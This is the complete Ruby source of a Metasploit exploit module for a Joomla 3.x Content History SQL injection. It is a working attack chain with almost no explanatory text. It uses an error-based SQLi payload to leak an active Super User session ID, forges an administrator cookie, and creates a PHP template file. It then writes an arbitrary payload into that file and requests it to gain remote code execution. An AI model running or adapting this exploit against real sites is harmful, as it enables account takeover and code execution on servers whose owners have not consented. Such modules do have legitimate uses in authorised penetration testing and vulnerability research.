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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Joomla Content History SQLi Remote Code Execution", 'Description'=> %q{ This module exploits a SQL injection vulnerability found in Joomla versions 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator component in the core of Joomla. Triggering the SQL injection makes it possible to retrieve active Super User sessions. The cookie can be used to login to the Joomla administrator backend. By creating a new template file containing our payload, remote code execution is made possible. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Asaf Orpani', # Vulnerability discovery 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ [ 'CVE', '2015-7857' ], # Admin session hijacking [ 'CVE', '2015-7297' ], # SQLi [ 'CVE', '2015-7857' ], # SQLi [ 'CVE', '2015-7858' ], # SQLi [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] ], 'Payload'=> { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as POST data, so # really it's unlimited 'Space' => 262144, # 256k }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ [ 'Joomla 3.x <= 3.4.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 23 2015", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) ], self.class) end def check # Request using a non-existing table res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.body =~ /<code>(.*)_ucm_history</code>/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } }) return res end def exploit # Request using a non-existing table first, to retrieve the table prefix res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.code == 500 && res.body =~ /<code>(.*)_ucm_history</code>/ table_prefix = $1 print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") end # Retrieve the admin session using our retrieved table prefix res = sqli("#{table_prefix}_") if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/ auth_cookie_part = $1[0...-1] print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") else fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "administrator", "index.php") }) if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ cookie_begin = $1 print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") end # Modify cookie to authenticated admin auth_cookie = cookie_begin auth_cookie << "=" auth_cookie << auth_cookie_part auth_cookie << ";" # Authenticated session res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie'=> auth_cookie }) if res && res.code == 200 && res.body =~ /Administration - Control Panel/ print_status("#{peer} - Successfully authenticated as Administrator") else fail_with(Failure::Unknown, "#{peer} - Session failure") end # Retrieve template view res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie'=> auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'templates' } }) # We try to retrieve and store the first template found if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ template_id = $1 file_id = $2 else fail_with(Failure::Unknown, "Unable to retrieve template") end filename = rand_text_alphanumeric(rand(10)+6) # Create file print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie'=> auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'task' => 'template.createFile', 'id' => template_id, 'file' => file_id, }, 'vars_post' => { 'type' => 'php', 'name' => filename } }) # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] print_status("#{peer} - Following redirect to [ #{location} ]") res = send_request_cgi( 'uri'=> location, 'method' => 'GET', 'cookie' => auth_cookie ) # Retrieving template token if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ token = $1 print_status("#{peer} - Token [ #{token} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") end if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ template_path = $1 print_status("#{peer} - Template path [ #{template_path} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") end else fail_with(Failure::Unknown, "#{peer} - Creating file failed") end filename_base64 = Rex::Text.encode_base64("/#{filename}.php") # Inject payload data into file print_status("#{peer} - Insert payload into file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie'=> auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'template', 'id' => template_id, 'file' => filename_base64, }, 'vars_post' => { 'jform[source]' => payload.encoded, 'task' => 'template.apply', token => '1', 'jform[extension_id]' => template_id, 'jform[filename]' => "/#{filename}.php" } }) if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") else fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") end # Request payload register_files_for_cleanup("#{filename}.php") print_status("#{peer} - Executing payload") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, template_path, "#{filename}.php"), 'cookie'=> auth_cookie }) end end |
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